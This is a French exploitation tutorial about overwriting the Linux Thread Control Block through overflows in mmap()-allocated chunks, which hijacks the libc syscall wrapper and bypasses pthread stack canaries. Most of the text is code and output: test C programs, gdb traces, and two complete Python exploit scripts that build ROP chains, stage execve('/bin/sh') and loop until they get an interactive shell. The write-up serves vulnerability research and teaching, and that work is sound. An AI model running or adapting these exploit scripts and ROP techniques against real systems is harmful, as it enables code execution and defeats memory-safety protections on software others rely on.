TCB overwrite


<< Bypasser ASLR sans bruteforce Exploit vmsplice() >>


   En relation avec les 0 day MySQL de Kingcope, je vais parler des overflows dans les chunks alloués via mmap(). Ces overflows permettent de détourner les appels systèmes de la libc ou de bypasser les stack canary dans les pthreads de manière relativement simple.

Pour comprendre ces overflows, il n'y a qu'une structure à connaître : le Thread Control Block (TCB). Le TCB est une petite structure de données dans l'espace d'un thread et contient à peu près toutes les informations dont on a besoin sur lui. C'est notamment de cette structure que se servent les débuggueurs pour afficher des informations sur les processus débuggués. Sous Linux, les threads sont identifiés par l'adresse de leur TCB (en userland j'entends). Un petit coup d'oeil à la définition de cette structure dans la libc (linuxthreads/sysdeps/i386/tls.h):
    typedef struct
    {
      void *tcb; /* Pointer to the TCB. Not necessary the
        thread descriptor used by libpthread. */
      dtv_t *dtv;
      void *self; /* Pointer to the thread descriptor. */
      int multiple_threads;
      uintptr_t sysinfo;
      uintptr_t stack_guard;
      uintptr_t pointer_guard;
    } tcbhead_t;
Sous x86, le segment %gs pointe vers le TCB, et c'est %fs pour x86_64. Les deux champs qui nous intéressent particulièrement pour ce qui va suivre sont sysinfo et stack_guard. Le premier contient un pointeur vers le wrapper de syscalls utilisé par la libc, et le deuxième le cookie random qui protège le frame pointer et l'adresse de retour sur la pile. Un petit programme pour tester tout ça :
    #include <stdio.h>

    unsigned int get_tcb() {
      asm ("movl %gs:0, %eax");
    }

    void explore_tcb(int len) {
      int * tcb = (int *)get_tcb();
      int i;

      printf("This is thread %x\n", (int)tcb);
      printf("\tExploring %d TCB words: ", len);
      for (i=0;i<len;i++) printf("%08x ",*(tcb++))
      printf("\n");
    }

    #define SET_SYSINFO(val) *(((int *)get_tcb()) + 4) = val
    #define SET_STACK_COOKIE(val) *(((int *)get_tcb()) + 5) = val

    void job(int action) {
      char c[100];

      printf("----------\n");
      explore_tcb(7);
      printf("----------\n");

      switch (action) {
        case 2:
          gets(c);
        case 1:
          SET_STACK_COOKIE(0x41414141);
          break;
        case 3:
          SET_SYSINFO(0x42424242);
          break;
        default:
          break;
      }
    }

    int main(int argc, char ** argv) {
      job(argc < 2 ? 0 : atoi(argv[1]));
      return 0;
    }
Le cas 1 permet de montrer qu'en modifiant ce cookie on déclenche bien le "stack smashing detected", le cas 2 montre que si on a contrôle du cookie alors l'overflow continue normalement, et le cas 3 teste la réécriture du wrapper de syscalls :
    $ ./explore_tcb 1
    ----------
    This is thread f75c16c0
      Exploring 7 TCB words: f75c16c0 f75c1b58 f75c16c0 00000000 f774a420 d8b24c00 8c11e762
    ----------
    *** stack smashing detected ***: ./explore_tcb terminated
    [...]
    $ gdb -q ./explore_tcb
    (gdb) r 2
    Starting program: explore_tcb 2
    ----------
    This is thread f7e566c0
      Exploring 7 TCB words: f7e566c0 f7e56b58 f7e566c0 00000000 f7fdf420 4e7df000 4f7f8663
    ----------
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb) r 3
    Starting program: explore_tcb 3
    ----------
    This is thread f7e566c0
      Exploring 7 TCB words: f7e566c0 f7e56b58 f7e566c0 00000000 f7fdf420 1702eb00 21c8771d
    ----------

    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()
    (gdb) x/xw $esp
    0xffffd468: 0xf7ef8b14
    (gdb) disas 0xf7ef8b14
    Dump of assembler code for function _exit:
      0xf7ef8b04 <+0>: mov 0x4(%esp),%ebx
      0xf7ef8b08 <+4>: mov $0xfc,%eax
      0xf7ef8b0d <+9>: call *%gs:0x10
      0xf7ef8b14 <+16>: mov $0x1,%eax
      0xf7ef8b19 <+21>: int $0x80
      0xf7ef8b1b <+23>: hlt
    End of assembler dump.
    (gdb) x/5i 0xf7fdf420
      0xf7fdf420 <__kernel_vsyscall>: push %ecx
      0xf7fdf421 <__kernel_vsyscall+1>: push %edx
      0xf7fdf422 <__kernel_vsyscall+2>: push %ebp
      0xf7fdf423 <__kernel_vsyscall+3>: mov %esp,%ebp
      0xf7fdf425 <__kernel_vsyscall+5>: sysenter
Les deux premiers cas marchent bien comme espéré. On se rend compte qu'en contrôlant le troisième, on contrôlera l'eip tôt ou tard. En effet, la majorité des syscalls dans la libc utilisent ce sysinfo. Dans le cas ci-dessus, c'est le call final à exit(), qui effectue d'abord un syscall exit_group() via ce wrapper à _exit+9. Contrôler le TCB revient donc à contrôler l'exécution dans une majorité de cas.

Overflow dans les chunks mmap()és
   Une première particularité du TCB est qu'elle est dans le premier chunk mmapé de l'application, car initialisé dès le début du programme. Si un overflow existe dans une région plus basse, contigue de cette région, alors il est possible de contrôler le TCB. Pour montrer ça, on va utiliser le petit programme suivant :
    #include <unistd.h>
    #include <stdlib.h>
    #include <stdio.h>

    unsigned int get_tcb() {
      asm ("movl %gs:0, %eax");
    }

    void explore_tcb(int len) {
      int * tcb = (int *)get_tcb();
      int i;

      printf("This is thread %x\n", (int)tcb);
      printf("\tExploring %d TCB words: ", len);
      for (i=0;i<len;i++) {
        printf("%08x ",*(tcb++));
      }
      printf("\n");
    }

    int main() {
      char * mmap_pool;
      char c;

      printf("----------\n");
      explore_tcb(7);
      printf("\tmalloc() chunk at: %x\n", malloc(10));
      printf("\tmmap() chunk at: %x\n", (mmap_pool = malloc(0x30000)));
      printf("----------\n");

      while ((c = getchar()) != '\n') *mmap_pool++ = c; *mmap_pool = 0;

      printf("%s\n", mmap_pool);

      return 0;
    }
Dans ce programme, on effectue deux allocations via malloc(), l'une petite, et l'autre large. On voit que la première est placée dans le heap et la deuxième dans des adresses beaucoup plus basses, car malloc() alloue les gros chunks via mmap(). La randomization effectuée par ASLR est seulement un seed généré pour les différents segments au bootstrap du programme. Ensuite, les allocations sont déterministes. Plus intéressant que ça, ces allocations font du "first fit" : mmap() rend la premère région virtuelle qui a la place nécessaire à la requête, contigue des autres régions allouées. Ci-dessous une petite trace qui montre l'évolution de l'espace d'adresses dans notre petit programme. Les deux breakpoints sont au début du main, puis après le malloc(0x30000) :
    Breakpoint 1, 0x080485ca in main ()
    (gdb) shell cat /proc/9737/maps
    [...]
    f7e56000-f7e57000 rw-p 00000000 00:00 0
    f7e57000-f7fb3000 r-xp 00000000 08:01 613619 /lib32/libc-2.13.so
    [...]

    Breakpoint 2, 0x08048610 in main ()
    (gdb) shell cat /proc/9737/maps
    [...]
    f7e25000-f7e57000 rw-p 00000000 00:00 0
    f7e57000-f7fb3000 r-xp 00000000 08:01 613619 /lib32/libc-2.13.so
    [...]
    (gdb)
Pour cette exécution, le TCB est à 0xf7e566c0, donc bien dans la première région disponible immédiatement au-dessus de la libc. Le chunk ensuite alloué par malloc() étend bien cette région de 0xf7e56000 à 0xf7e25000. Un overflow dans ce dernier devrait donc bien réécrire le TCB :
    $ python -c "print 'A'*0x31700" | ./single
    ----------
    This is thread f762e6c0
      Exploring 7 TCB words: f762e6c0 f762eb58 f762e6c0 00000000 f77b7420 793a3900 dbe8bc4b
      malloc() chunk at: 8414008
      mmap() chunk at: f75fd008
    ----------
    Erreur de segmentation (core dumped)
    $ gdb -core ./core
    [New LWP 10695]
    Core was generated by `./single'.
    Program terminated with signal 11, Segmentation fault.
    #0 0x41414141 in ?? ()
    (gdb)
A partir de là, on se retrouve dans une exploitation classique, modulo le fait qu'on ne contrôle pas du tout la pile. Il faut donc effectuer un stack pivot vers une zone contrôlée en une seule séquence ROP. Dans une vraie application, on a probablement plusieurs endroits où il est possible d'insérer des données utilisateur et on essaiera d'y retourner. L'exploitation est tout de même compliquée : on ne peut pas faire de vrai return-into-libc, car on a remplacé pas mal de données globales de celle-ci, et le wrapper de syscall.

Pour la PoC, je me suis placé dans le cas simple d'un exploit local, où j'insère ma stack dans argv[1]. C'est toujours relativement facile de faire "remonter" esp, car il y a souvent beaucoup de chunks "ret X" qui permettent de dépiler X bytes avant de popper eip. Dans le petit script, on voit donc bien les deux parties distinctes : payload contient l'overflow qui remplace le wrapper de syscall et arg contient la stack forgée. Comme il y a toujours un padding de quelques pages entre les arguments et le début de la pile, j'utilise un "ret sled", donc plein de rets qui font faire glisser jusqu'à l'enchaînement read()/execve().
    $ cat ./mmap_sploit.py
    #!/usr/bin/python
    import struct
    import sys
    import subprocess
    import time

    # Stack rotate
    libc_base = 0xf75db000
    rotate_stack = libc_base + 0x00020be6

    payload = 'A'*(0x316b8 + 16)
    payload += struct.pack("<I", rotate_stack)

    # ROP stack
    libc_data = libc_base + 0x15e000 + 4

    null_eax = libc_base + 0x125f60
    add_eax_3 = libc_base + 0x80868
    add_eax_11 = libc_base + 0x00080888
    pop_ebx = libc_base + 0x000797f4
    inc_ebx = libc_base + 0x385c
    pop_ecx = libc_base + 0x000f1c9d
    pop_edx = libc_base + 0x00001a9e
    int_0x80 = libc_base + 0xd78b1 # int 0x80 + pop*4 + ret

    # ret sled
    rop_stack = [pop_ebx+1 for x in range(0,900)]
    # read correct execve format at arbitrary location
    rop_stack.extend([null_eax, add_eax_3, pop_ebx, 0xffffffff, inc_ebx, pop_ecx, libc_data, pop_edx, 0x7fffffff, int_0x80, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef])
    # execve
    rop_stack.extend([null_eax, add_eax_11, pop_ebx, libc_data+12, pop_ecx, libc_data, pop_edx, libc_data+4, int_0x80, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef])

    # arg containing rop stack
    arg = "".join([struct.pack("<I", x) for x in rop_stack])+ 'AAA'

    # staged execve payload
    stage = "".join([struct.pack("<I", x) for x in [libc_data+12, 0, libc_data+4]]) + "/bin/sh\x00"

    # launch exploit
    i=0
    while 1:
      i+=1
      p = subprocess.Popen([sys.argv[1], arg], stdin = subprocess.PIPE)
      p.stdin.write(payload + '\n')
      time.sleep(0.05)
      try:
        p.stdin.write(stage)
        time.sleep(0.5)
        p.stdin.write("id\n")
      except:
        continue
      print "Succeeded in %d tries"%(i)
      while 1:
        time.sleep(0.5)
        cmd = raw_input("> ")
        p.stdin.write(cmd + '\n')
        if cmd == "exit" or cmd == "quit":
          sys.exit(0)
    $ ./mmap_sploit.py ./single [...]
    ----------
    This is thread f75da6c0
      Exploring 7 TCB words: f75da6c0 f75dab58 f75da6c0 00000000 f7763420 3c4aec00 802bee4e
      malloc() chunk at: a024008
      mmap() chunk at: f75a9008
    ----------
    Succeeded in 121 tries
    uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),108(netdev)
    > whoami
    user
    > exit
    $
En local, ça marche facilement en quelques secondes, même avec un script python qui fait des sleeps :)
Ce qu'il faut noter aussi, c'est que si jamais un attaquant réussit à réécrire le TCB, il est sûr que l'exécution arrivera à l'adresse réécrite à un moment ou un autre : toutes les fonctions de la libc utilisent ce wrapper. Même les fonctions de terminaison que sont __stack_chk_fail et _exit y passent : __stack_chk_fail fait un open() sur la sortie d'erreur pour afficher son message "stack smashing detected", et _exit fait un appel système exit_group() avant de quitter.

Bypass du stack canary dans les pthreads
   Réécrire le TCB a une autre belle application qui peut justement être directement appliquée dans le cas du stack overflow MySQL de Kingcope. Pour se remettre dans le même genre de situation, le petit programme suivant créé un pthread et affiche l'adresse de sa pile, avant d'effectuer un stack overflow :
    $ cat pthread.c #include <unistd.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <pthread.h>

    unsigned int get_tcb() {
      asm ("movl %gs:0, %eax");
    }

    void explore_tcb(int len) {
      int * tcb = (int *)get_tcb();
      int i;

      printf("\tExploring %d TCB words: ", len);
      for (i=0;i<len;i++) {
        printf("%08x ",*(tcb++));
      }
      printf("\n");
    }

    void job() {
      char c[100];

      printf("----------\n");
      printf("This is thread %x\n", get_tcb());
      explore_tcb(7);
      printf("\tStack at: %x\n", &c);
      if ((unsigned int)&c < get_tcb()) {
        gets(c);
      }
    }

    void *thread_entry(void * arg) {
      job();
    }

    int main() {
      pthread_t t1;

      job();
      pthread_create( &t1, NULL, thread_entry, NULL);
      pthread_join(t1, NULL);

      return 0;
    }

    $ ./pthread
    ----------
    This is thread f75ee6c0
      Exploring 7 TCB words: f75ee6c0 f75eeb58 f75ee6c0 00000000 f7790420 0745d100 546ddd2f
      Stack at: ffdbd068
    ----------
    This is thread f75edb70
      Exploring 7 TCB words: f75edb70 08ecb010 f75edb70 00000001 f7790420 0745d100 546ddd2f
      Stack at: f75ed318

    $
On voit donc que la stack du thread est allouée *avant* les TCB. En effet, un thread a besoin de réserver de l'espace mémoire pour sa stack et ses données personnelles. Forcément, il le fait via mmap() et on retombe dans le cas ci-dessus. On peut toujours effectuer une exploitation pas remplacement du wrapper de syscall, mais il y a plus intéressant : nous sommes dans le cas d'un stack overflow où nous pouvons réécrire le canary, ainsi que le canary qui sert à la comparaison. Petite vérification :
    $ python -c "print 'A'*2000" | ./pthread
    ----------
    This is thread f75d96c0
      Exploring 7 TCB words: f75d96c0 f75d9b58 f75d96c0 00000000 f777b420 ce039600 861a3360
      Stack at: ff821038
    ----------
    This is thread f75d8b70
      Exploring 7 TCB words: f75d8b70 0882a010 f75d8b70 00000001 f777b420 ce039600 861a3360
      Stack at: f75d8318
    *** stack smashing detected ***: ./pthread terminated
    ======= Backtrace: =========
    /lib32/libc.so.6(__fortify_fail+0x50)[0xf76c6600]
    /lib32/libc.so.6(+0xec5aa)[0xf76c65aa]
    ./pthread[0x80486f7]
    [0x41414141]
    [...]
    $ python -c "print 'A'*104 + 'B'*100 + 'A'*2000" | ./pthread
    ----------
    This is thread f75ef6c0
      Exploring 7 TCB words: f75ef6c0 f75efb58 f75ef6c0 00000000 f7791420 4d193200 e31110e6
      Stack at: ffc01458
    ----------
    This is thread f75eeb70
      Exploring 7 TCB words: f75eeb70 08210010 f75eeb70 00000001 f7791420 4d193200 e31110e6
      Stack at: f75ee318
    Erreur de segmentation (core dumped)
    $ gdb -core core
    [New LWP 11510]
    [New LWP 11509]
    Core was generated by `./pthread'.
    Program terminated with signal 11, Segmentation fault.
    #0 0x42424242 in ?? ()
    (gdb) x/xw $esp
    0xf75ee390: 0x42424242
On voit bien que l'eip est à BBBB et non AAAA, ce qui signifie qu'on a bien écrasé l'adresse de retour et non un autre pointeur de fonction. Cette option est donc largement préférable, puisqu'on a un vrai contrôle de la pile. On a de quoi faire une exploitation bien plus facile et plus propre, mais puisqu'il n'y a pas spécialement d'intérêt, j'ai juste repris la même, cette fois sans avoir besoin d'être en local et d'insérer la stack dans argv :
    $ cat ./pthread_sploit.py && ./pthread_sploit.py ./pthread
    #!/usr/bin/python
    [...]
    libc_base = 0xf763d000
    libc_data = libc_base + 0x15e000 + 4

    [...]

    # staged execve payload
    stage = "".join([struct.pack("<I", x) for x in [libc_data+12, 0, libc_data+4]]) + "/bin/sh\x00"

    payload = 'A'*104 + "".join([struct.pack("<I", x) for x in rop_stack])
    payload += 'A'*(2200-len(payload))

    # launch exploit
    i=0
    while 1:
      i+=1
      p = subprocess.Popen([sys.argv[1]], stdin = subprocess.PIPE)
      p.stdin.write(payload + '\n')
      time.sleep(0.05)
      try:
        p.stdin.write(stage)
        time.sleep(0.5)
        p.stdin.write("id\n")
      except:
        continue
      print "Succeeded in %d tries"%(i)
      while 1:
        time.sleep(0.5)
        cmd = raw_input("> ")
        p.stdin.write(cmd + '\n')
        if cmd == "exit" or cmd == "quit":
          sys.exit(0)

    [...]
    ----------
    This is thread f763c6c0
      Exploring 7 TCB words: f763c6c0 f763cb58 f763c6c0 00000000 f77de420 96802b00 0e68bce2
      Stack at: ffade588
    ----------
    This is thread f763bb70
      Exploring 7 TCB words: f763bb70 091a8010 f763bb70 00000001 f77de420 96802b00 0e68bce2
      Stack at: f763b318
    Succeeded in 335 tries
    uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),108(netdev)
    > whoami
    user
    > exit
    $
C'est tout pour cet article, plein de code et avec peu d'explications je sais, mais je pense qu'il n'y a pas beaucoup plus à comprendre que : le stack canary ne sert à rien dans les pthreads, et attention aux gros chunks qui sont placés juste avant les TCB.

Il est à noter que sur le chemin vers le TCB, on réécrit d'autres structures très intéressantes, par exemple les descripteurs des arena de malloc() :
    $ python -c "print 'A'*2130" > /tmp/test
    $ gdb -q ./pthread
    Reading symbols from /home/user/tmp/canary/pthread...(no debugging symbols found)...done.
    (gdb) r < /tmp/test
    Starting program: /home/user/tmp/canary/pthread < /tmp/test
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    ----------
    This is thread f7e3d6c0
      Exploring 7 TCB words: f7e3d6c0 f7e3db58 f7e3d6c0 00000000 f7fdf420 ccf88200 6431c900
      Stack at: ffffd438
    [New Thread 0xf7e3cb70 (LWP 14719)]
    ----------
    This is thread f7e3cb70
      Exploring 7 TCB words: f7e3cb70 0804a010 f7e3cb70 00000001 f7fdf420 ccf88200 6431c900
      Stack at: f7e3c318
    *** stack smashing detected ***: /home/user/tmp/canary/pthread terminated

    Program received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0xf7e3cb70 (LWP 14719)]
    0xf7eb45da in malloc () from /lib32/libc.so.6
Il y a donc probablement d'autres vecteurs d'exploitation, même lorsque l'overflow ne nous permet pas de réécrire le TCB. Ce qui est marrant, c'est que lors d'un stack smashing, __stack_chk_fail est appellé. Cette fonction utilise __libc_message pour écrire sur la sortie d'erreur le message "stack smashing". Cela cause un appel à open() et donc au wrapper sysinfo potentiellement empoisonné. S'il est valide, l'affichage du backtrace ensuite va poser des appels à malloc(), dont les structures peuvent être empoisonées comme on vient du voir. Au final, la détection du stack smashing permet tous ces vecteurs d'exploitation à elle toute seule, alors qu'elle pourrait simplement faire un mov eax, 1 + int 0x80...

<< Bypasser ASLR sans bruteforce Exploit vmsplice() >>






1 Commentaire

Anonyme 06/02/13 14:05
gg




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.